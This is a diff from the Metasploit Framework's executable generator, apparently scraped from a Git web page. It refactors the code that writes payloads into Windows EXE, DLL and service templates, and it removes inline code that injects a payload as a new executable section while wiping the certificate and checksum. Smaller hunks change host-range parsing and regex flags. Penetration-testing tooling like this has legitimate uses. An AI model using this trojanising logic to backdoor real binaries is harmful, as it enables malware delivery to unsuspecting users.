# @param host_ranges [Array] The array of ranges to append
|
||||
# @param required [Boolean] Whether an empty +arg+ should be an error
|
||||
# @return [Boolean] true if parsing was successful or false otherwise
|
||||
def arg_host_range(arg, host_ranges, required=false)
|
||||
if (!arg and required)
|
||||
print_error("Missing required host argument")
|
||||
return
|
||||
return false
|
||||
end
|
||||
begin
|
||||
host_ranges << Rex::Socket::RangeWalker.new(arg)
|
||||
rw = Rex::Socket::RangeWalker.new(arg)
|
||||
rescue
|
||||
print_error("Invalid host parameter, #{arg}.")
|
||||
return
|
||||
return false
|
||||
end
|
||||
|
||||
if rw.valid?
|
||||
host_ranges << rw
|
||||
else
|
||||
print_error("Invalid host parameter, #{arg}.")
|
||||
return false
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
@ -16,6 +16,7 @@ require 'rex/pescan'
|
||||
require 'rex/zip'
|
||||
require 'metasm'
|
||||
require 'digest/sha1'
|
||||
require 'msf/core/exe/segment_injector'
|
||||
|
||||
##
|
||||
#
|
||||
@ -66,6 +67,7 @@ require 'digest/sha1'
|
||||
return template % hash_sub
|
||||
end
|
||||
|
||||
|
||||
##
|
||||
#
|
||||
# Executable generators
|
||||
@ -185,80 +187,12 @@ require 'digest/sha1'
|
||||
|
||||
#try to inject code into executable by adding a section without affecting executable behavior
|
||||
if(opts[:inject])
|
||||
if endjunk
|
||||
raise RuntimeError, "Junk at end of file. Is this a packed exe?"
|
||||
end
|
||||
|
||||
#find first section file offset and free RVA for new section
|
||||
free_rva = pe.hdr.opt.AddressOfEntryPoint
|
||||
first_off = sections_end
|
||||
pe.sections.each do |sec|
|
||||
first_off = sec.file_offset if sec.file_offset < first_off
|
||||
free_rva = sec.raw_size + sec.vma if sec.raw_size + sec.vma > free_rva
|
||||
end
|
||||
#align free_rva
|
||||
free_rva += (pe.hdr.opt.SectionAlignment-(free_rva % pe.hdr.opt.SectionAlignment)) % pe.hdr.opt.SectionAlignment
|
||||
|
||||
#See if we can add a section
|
||||
first_sechead_file_off = pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + pe.hdr.file.SizeOfOptionalHeader
|
||||
new_sechead_file_off = first_sechead_file_off + pe.hdr.file.NumberOfSections * Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER
|
||||
if new_sechead_file_off + Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER > first_off
|
||||
raise RuntimeError, "Not enough room for new section header"
|
||||
end
|
||||
|
||||
# figure out where in the new section to put the start. Right now just putting at the beginning of the new section
|
||||
start_rva = free_rva
|
||||
|
||||
#make new section, starting at free RVA
|
||||
new_sec = win32_rwx_exec_thread(code, pe.hdr.opt.AddressOfEntryPoint - start_rva)
|
||||
#pad to file alignment
|
||||
new_sec += "\x00" * (pe.hdr.opt.SectionAlignment-(new_sec.length % pe.hdr.opt.SectionAlignment))
|
||||
|
||||
#make new section header
|
||||
new_sechead = Rex::PeParsey::PeBase::IMAGE_SECTION_HEADER.make_struct
|
||||
new_sechead.v['Name'] = Rex::Text.rand_text_alpha(4)+"\x00"*4 # no name
|
||||
new_sechead.v['Characteristics'] = 0x60000020 # READ, EXECUTE, CODE
|
||||
new_sechead.v['VirtualAddress'] = free_rva
|
||||
new_sechead.v['SizeOfRawData'] = new_sec.length
|
||||
new_sechead.v['PointerToRawData'] = sections_end
|
||||
|
||||
# Create the modified version of the input executable
|
||||
exe = ''
|
||||
File.open(opts[:template], 'rb') { |fd|
|
||||
exe = fd.read(fd.stat.size)
|
||||
}
|
||||
|
||||
#New file header with updated number of sections and timedatestamp
|
||||
new_filehead = Rex::PeParsey::PeBase::IMAGE_FILE_HEADER.make_struct
|
||||
new_filehead.from_s(exe[pe.hdr.dos.e_lfanew, Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE])
|
||||
new_filehead.v['NumberOfSections'] = pe.hdr.file.NumberOfSections + 1
|
||||
new_filehead.v['TimeDateStamp'] = pe.hdr.file.TimeDateStamp - rand(0x1000000)
|
||||
exe[pe.hdr.dos.e_lfanew, new_filehead.to_s.length] = new_filehead.to_s
|
||||
|
||||
#new optional header with new entry point, size of image, and size of code
|
||||
new_opthead = Rex::PeParsey::PeBase::IMAGE_OPTIONAL_HEADER32.make_struct
|
||||
new_opthead.from_s(exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader])
|
||||
new_opthead.v['AddressOfEntryPoint'] = start_rva
|
||||
new_opthead.v['SizeOfImage'] = free_rva + new_sec.length
|
||||
new_opthead.v['SizeOfCode'] = pe.hdr.opt.SizeOfCode + new_sec.length
|
||||
exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader] = new_opthead.to_s
|
||||
#kill bound import table; if it exists, we probably overwrote it with our new section and they dont even need it anyway
|
||||
exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + 184, 8] = "\x00"*8
|
||||
#kill certificate; if it exists, we just invalidated it
|
||||
exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + 128, 8] = "\x00"*8
|
||||
|
||||
#new section header and new section
|
||||
exe[new_sechead_file_off, new_sechead.to_s.length] = new_sechead.to_s
|
||||
exe[new_sechead.v['PointerToRawData'], new_sec.length] = new_sec
|
||||
exe.slice!((new_sechead.v['PointerToRawData'] + new_sec.length)..-1)
|
||||
|
||||
cks = pe.hdr.opt.CheckSum
|
||||
if(cks != 0)
|
||||
exe[ exe.index([ cks ].pack('V')), 4] = [0].pack("V")
|
||||
end
|
||||
|
||||
pe.close
|
||||
|
||||
injector = Msf::Exe::SegmentInjector.new({
|
||||
:payload => code,
|
||||
:template => opts[:template],
|
||||
:arch => :x86
|
||||
})
|
||||
exe = injector.generate_pe
|
||||
return exe
|
||||
end
|
||||
|
||||
@ -458,168 +392,100 @@ require 'digest/sha1'
|
||||
return pe
|
||||
end
|
||||
|
||||
def self.to_win32pe_exe_sub(framework, code, opts={})
|
||||
|
||||
# Allow the user to specify their own DLL template
|
||||
set_template_default(opts, "template_x86_windows.exe")
|
||||
def self.exe_sub_method(code,opts ={})
|
||||
|
||||
pe = ''
|
||||
File.open(opts[:template], "rb") { |fd|
|
||||
pe = fd.read(fd.stat.size)
|
||||
}
|
||||
|
||||
bo = pe.index('PAYLOAD:')
|
||||
raise RuntimeError, "Invalid Win32 PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo
|
||||
case opts[:exe_type]
|
||||
when :service_exe
|
||||
max_length = 8192
|
||||
name = opts[:servicename]
|
||||
|
||||
if (code.length <= 4096)
|
||||
if name
|
||||
bo = pe.index('SERVICENAME')
|
||||
raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
|
||||
pe[bo, 11] = [name].pack('a11')
|
||||
end
|
||||
|
||||
if not opts[:sub_method]
|
||||
pe[136, 4] = [rand(0x100000000)].pack('V')
|
||||
end
|
||||
when :dll
|
||||
max_length = 2048
|
||||
when :exe_sub
|
||||
max_length = 4096
|
||||
end
|
||||
|
||||
bo = pe.index('PAYLOAD:')
|
||||
raise RuntimeError, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo
|
||||
|
||||
if (code.length <= max_length)
|
||||
pe[bo, code.length] = [code].pack("a*")
|
||||
else
|
||||
raise RuntimeError, "The EXE generator now has a max size of 4096 bytes, please fix the calling module"
|
||||
raise RuntimeError, "The EXE generator now has a max size of #{max_length} bytes, please fix the calling module"
|
||||
end
|
||||
|
||||
if opts[:exe_type] == :dll
|
||||
mt = pe.index('MUTEX!!!')
|
||||
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
|
||||
end
|
||||
|
||||
return pe
|
||||
end
|
||||
|
||||
def self.to_win32pe_exe_sub(framework, code, opts={})
|
||||
# Allow the user to specify their own DLL template
|
||||
set_template_default(opts, "template_x86_windows.exe")
|
||||
opts[:exe_type] = :exe_sub
|
||||
exe_sub_method(code,opts)
|
||||
end
|
||||
|
||||
def self.to_win64pe(framework, code, opts={})
|
||||
|
||||
# Allow the user to specify their own EXE template
|
||||
set_template_default(opts, "template_x64_windows.exe")
|
||||
|
||||
pe = ''
|
||||
File.open(opts[:template], "rb") { |fd|
|
||||
pe = fd.read(fd.stat.size)
|
||||
}
|
||||
|
||||
bo = pe.index('PAYLOAD:')
|
||||
raise RuntimeError, "Invalid Win64 PE EXE template: missing \"PAYLOAD:\" tag" if not bo
|
||||
|
||||
if (code.length <= 4096)
|
||||
pe[bo, code.length] = [code].pack("a*")
|
||||
else
|
||||
raise RuntimeError, "The EXE generator now has a max size of 4096 bytes, please fix the calling module"
|
||||
#try to inject code into executable by adding a section without affecting executable behavior
|
||||
if(opts[:inject])
|
||||
injector = Msf::Exe::SegmentInjector.new({
|
||||
:payload => code,
|
||||
:template => opts[:template],
|
||||
:arch => :x64
|
||||
})
|
||||
exe = injector.generate_pe
|
||||
return exe
|
||||
end
|
||||
|
||||
return pe
|
||||
opts[:exe_type] = :exe_sub
|
||||
exe_sub_method(code,opts)
|
||||
end
|
||||
|
||||
def self.to_win32pe_service(framework, code, opts={})
|
||||
|
||||
name = opts[:servicename]
|
||||
|
||||
# Allow the user to specify their own service EXE template
|
||||
set_template_default(opts, "template_x86_windows_svc.exe")
|
||||
|
||||
pe = ''
|
||||
File.open(opts[:template], 'rb') { |fd|
|
||||
pe = fd.read(fd.stat.size)
|
||||
}
|
||||
|
||||
bo = pe.index('PAYLOAD:')
|
||||
raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo
|
||||
|
||||
if (code.length <= 8192)
|
||||
pe[bo, code.length] = [code].pack("a*")
|
||||
else
|
||||
raise RuntimeError, "The EXE generator now has a max size of 8192 bytes, please fix the calling module"
|
||||
end
|
||||
|
||||
if name
|
||||
bo = pe.index('SERVICENAME')
|
||||
raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
|
||||
pe[bo, 11] = [name].pack('a11')
|
||||
end
|
||||
|
||||
if not opts[:sub_method]
|
||||
pe[136, 4] = [rand(0x100000000)].pack('V')
|
||||
end
|
||||
|
||||
return pe
|
||||
opts[:exe_type] = :service_exe
|
||||
exe_sub_method(code,opts)
|
||||
end
|
||||
|
||||
def self.to_win64pe_service(framework, code, opts={})
|
||||
|
||||
name = opts[:servicename]
|
||||
|
||||
# Allow the user to specify their own service EXE template
|
||||
set_template_default(opts, "template_x64_windows_svc.exe")
|
||||
|
||||
pe = ''
|
||||
File.open(opts[:template], "rb") { |fd|
|
||||
pe = fd.read(fd.stat.size)
|
||||
}
|
||||
|
||||
bo = pe.index('PAYLOAD:')
|
||||
raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo
|
||||
|
||||
if (code.length <= 8192)
|
||||
pe[bo, code.length] = [code].pack("a*")
|
||||
else
|
||||
raise RuntimeError, "The EXE generator now has a max size of 8192 bytes, please fix the calling module"
|
||||
end
|
||||
|
||||
if name
|
||||
bo = pe.index('SERVICENAME')
|
||||
raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
|
||||
pe[bo, 11] = [name].pack('a11')
|
||||
end
|
||||
|
||||
if not opts[:sub_method]
|
||||
pe[136, 4] = [rand(0x100000000)].pack('V')
|
||||
end
|
||||
|
||||
return pe
|
||||
opts[:exe_type] = :service_exe
|
||||
exe_sub_method(code,opts)
|
||||
end
|
||||
|
||||
def self.to_win32pe_dll(framework, code, opts={})
|
||||
|
||||
# Allow the user to specify their own DLL template
|
||||
set_template_default(opts, "template_x86_windows.dll")
|
||||
|
||||
pe = ''
|
||||
File.open(opts[:template], "rb") { |fd|
|
||||
pe = fd.read(fd.stat.size)
|
||||
}
|
||||
|
||||
bo = pe.index('PAYLOAD:')
|
||||
raise RuntimeError, "Invalid Win32 PE DLL template: missing \"PAYLOAD:\" tag" if not bo
|
||||
|
||||
if (code.length <= 2048)
|
||||
pe[bo, code.length] = [code].pack("a*")
|
||||
else
|
||||
raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module"
|
||||
end
|
||||
|
||||
# optional mutex
|
||||
mt = pe.index('MUTEX!!!')
|
||||
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
|
||||
|
||||
return pe
|
||||
opts[:exe_type] = :dll
|
||||
exe_sub_method(code,opts)
|
||||
end
|
||||
|
||||
def self.to_win64pe_dll(framework, code, opts={})
|
||||
|
||||
# Allow the user to specify their own DLL template
|
||||
set_template_default(opts, "template_x64_windows.dll")
|
||||
|
||||
pe = ''
|
||||
File.open(opts[:template], "rb") { |fd|
|
||||
pe = fd.read(fd.stat.size)
|
||||
}
|
||||
|
||||
bo = pe.index('PAYLOAD:')
|
||||
raise RuntimeError, "Invalid Win64 PE DLL template: missing \"PAYLOAD:\" tag" if not bo
|
||||
|
||||
if (code.length <= 2048)
|
||||
pe[bo, code.length] = [code].pack("a*")
|
||||
else
|
||||
raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module"
|
||||
end
|
||||
|
||||
# optional mutex
|
||||
mt = pe.index('MUTEX!!!')
|
||||
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
|
||||
|
||||
return pe
|
||||
opts[:exe_type] = :dll
|
||||
exe_sub_method(code,opts)
|
||||
end
|
||||
|
||||
def self.to_osx_arm_macho(framework, code, opts={})
|
||||
|
@ -280,7 +280,7 @@ class RbMysql
|
||||
# In Ruby 1.8, this is not safe for multibyte charset such as 'SJIS'.
|
||||
# You should use place-holder in prepared-statement.
|
||||
def escape_string(str)
|
||||
str.gsub(/[\0\n\r\\\'\"\x1a]/) do |s|
|
||||
str.gsub(/[\0\n\r\\\'\"\x1a]/n) do |s|
|
||||
case s
|
||||
when "\0" then "\\0"
|
||||
when "\n" then "\\n"
|
||||
|
@ -32,7 +32,7 @@ class RbMysql
|
||||
alias get_client_info client_info
|
||||
|
||||
def escape_string(str)
|
||||
str.gsub(/[\0\n\r\\\'\"\x1a]/) do |s|
|
||||
str.gsub(/[\0\n\r\\\'\"\x1a]/n) do |s|
|
||||
case s
|
||||
when "\0" then "\\0"
|
||||
when "\n" then "\\n"
|
||||
|
@ -5272,7 +5272,7 @@ module RbReadline
|
||||
# Actually update the display, period.
|
||||
def rl_forced_update_display()
|
||||
if (@visible_line)
|
||||
@visible_line.gsub!(/[^\x00]/,0.chr)
|
||||
@visible_line.gsub!(/[^\x00]/n,0.chr)
|
||||
end
|
||||
rl_on_new_line()
|
||||
@forced_display=true if !@forced_display
|
||||
@ -8520,7 +8520,7 @@ module RbReadline
|
||||
count -= 1
|
||||
end
|
||||
|
||||
str = (flags == MB_FIND_NONZERO) ? string.sub(/\x00+$/,'') : string
|
||||
str = (flags == MB_FIND_NONZERO) ? string.sub(/\x00+$/n,'') : string
|
||||
|
||||
case @encoding
|
||||
when 'E'
|
||||
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user